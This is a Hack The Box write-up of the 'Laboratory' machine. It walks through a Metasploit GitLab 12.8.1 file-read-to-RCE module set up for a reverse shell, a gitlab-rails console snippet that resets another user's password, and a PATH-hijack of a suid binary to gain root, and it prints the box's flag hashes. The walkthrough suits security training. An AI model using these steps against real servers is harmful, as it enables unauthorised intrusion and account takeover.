Laboratory is an easy box from HTB.
It begins with a webserver talking about how secure their services are.
Digging a bit further into that webserver, we find a VHOST that contains a Gitlab instance.
We register into this instance, and notice that the running version of Gitlab is vulnerable to a known exploit that leads to RCE.
We leverage this vulnerability with metasploit to gain a shell on the remote system as the “git” user.
We then use our privileges as the “git” user to gain access to the user dexter’s account in the Gitlab instance.
Once in we find an ssh-key that we can use to connect as dexter to laboratory.htb. For root, we find a fishy binary with suid/sgid bits that uses an unsanitized path to chmod in a system call.
We change our own user’s path to control what is being executed and gain root.


For context, every standard box on HTB has two flags, one for the user and one for root, user.txt and root.txt respectively. The hashes in this writeup will no longer be valid since they are changed every time the machine is reset.

NMAP scan

nmap -sC -sV -p- -oA


While nmap was running i checked out port 80 and 443,
there seems to be a website running:

The site is static, making it an unlikely attack vector.
Let’s run some a basic fuzzer on it to see if we find hidden directories.


Let’s run ffuf on the running webserver, to see if we can find any hidden directories.

This found nothing, moving on.

Manual Enumeration

While looking back at my initial nmap scan, i noticed that it detected a vhost for the server running on port 443.
This could also have been found by using a tool such as gobuster, but I didn’t need it in this case since NMAP found it by itself.
VHOST : git.laboratory.htb

After adding this to my /etc/hosts we can now navigate to it:	git.laboratory.htb laboratory.htb

I can make an account with the register function and login in my account.

Once in, I explored the projects and found the websites code repo.

I skimmed through it, there is only one commit, nothing dynamic.
There are no forgotten secrets in there.
It is pure html/js/css with some sass tweaks, but it is not vulnerable to anything as far as i know.

Gitlab itself however, might be an attack vector ….

Exploiting Gitlab for FootHold

I went into the help tab of gitlab and saw that its version was 12.8.1.
Running searchsploit for gitlab, we see results about versions that are very close to our target 12.8.1 version:

Googling gitlab 12.8.1 exploit brings me to a file read exploit that has been weaponized into full fledged RCE, also there exists a metasploit module to exploit it already.

==> Source Code for metasploit module

This basically means that we get an instant shell.

So I ran, metasploit console (msfconsole),
selected the ‘exploits/multi/http/gitlab_file_read_rce’ exploit, configured it and launched it.

$ msfconsole
msf6 > use exploit/multi/http/gitlab_file_read_rce

msf6 exploit(multi/http/gitlab_file_read_rce) > set rhost
rhost =>

msf6 exploit(multi/http/gitlab_file_read_rce) > set rport 443
rport => 443

msf6 exploit(multi/http/gitlab_file_read_rce) > set ssl true
ssl => true

msf6 exploit(multi/http/gitlab_file_read_rce) > set vhost git.laboratory.htb
vhost => git.laboratory.htb

msf6 exploit(multi/http/gitlab_file_read_rce) > set lhost
lhost =>

msf6 exploit(multi/http/gitlab_file_read_rce) > set lport 1337
lport => 1337

msf6 exploit(multi/http/gitlab_file_read_rce) > set username gh0st
username => gh0st

msf6 exploit(multi/http/gitlab_file_read_rce) > set password gh0stboi
password => gh0stboi

msf6 exploit(multi/http/gitlab_file_read_rce) > run

Here is the execution:

We’re on the machine !

Lateral movement

Getting dexter

The journey to getting user dexter was one of research.
I had to lookup the different fonctionalities I had in the gitlab instance as the git user.
Once I found the right functionality, I executed my malicious plan:
I launched the gitlab console in production mode in order to change Dexter’s password within the gitlab instance, therefore gaining access to his other repos (if he has any).

gitlab-rails console -e production # start gitlab console

# Code I entered in the gitlab console
user = User.find(1)
user.password = "kekkekkek"
user.password_confirmation = "kekkekkek"!

dexter: kekkekkek // login for dexter after the above code

Execution of this was a bit funky, the gitlab console seems to have Issues printing out correctly:

Once this is done i can connect as dexter in the running gitlab instance.

There was a private repo containing a private key :

After seeing this repo name, I finally understood that we were in a container the whole time, crazy I know.
Using this key, I can connect as dexter.

This box is pretty fun.
This gives us the user hash.

752afc4c7d1a010d08b498859ec5aef3 //user.txt


As Dexter, im enumerating.
At this point i’ve enumerated for a while but didn’t settle on a specific vector, until I stumbled upon this super weird binary that has the suid bit and is owned by root.

As far as I know this is homemade, I’ve never seen this binary around in a normal docker installation.

Using this cool article as a refresher, I was able to understand that the binary changed permissions and used a system_call to the chmod binary, the thing is the path was not absolute.
I used the ltrace program to execute the binary and monitor what it was doing under the hood.

The binary will be executed as Dexter, but the process will elevate itself to root(uid: 0, gid: 0 ) privileges by using the suid/sgid bits.

In Linux, when launching a command without an absolute path, the system will look for the executable file within the PATH directories from left to right in priority.

This means that the binary will use the user’s current PATH environment variable in order to find the CHMOD binary to execute, this allows me to specify a directory I control as the first place to look for the binary.

For example:

export PATH=/home/dexter:$PATH 
# this PATH makes the system look in my home for chmod before anywhere else

Now let’s write a script that simply starts a shell with a funny message, we name it chmod and place it in /home/dexter/:

echo "Ooopsie !"
echo "Popping root shell \o/"


Just like that we have the root user !
This box was super fun for me and fairly straightforward. This is defintely a box that pretty much anyone can compromise with a little patience and research.

4eb35eb70165ab3a04d8c4ced144d4c1 // root.txt

Box impressions

This box was definitely a lot of fun and is fairly accessible to newcomers.
I particularly liked the research needed to understand what we can achieve as the git user in a gitlab installation.
Compromising a user’s gitlab account in order to read their private repos and ultimately find an ssh key seems like a fairly real situation.
The root part is less likely to happen in a real life scenario since the purpose of the vulnerable binary is just nonexistent, but it was fun and flashy to exploit anyways.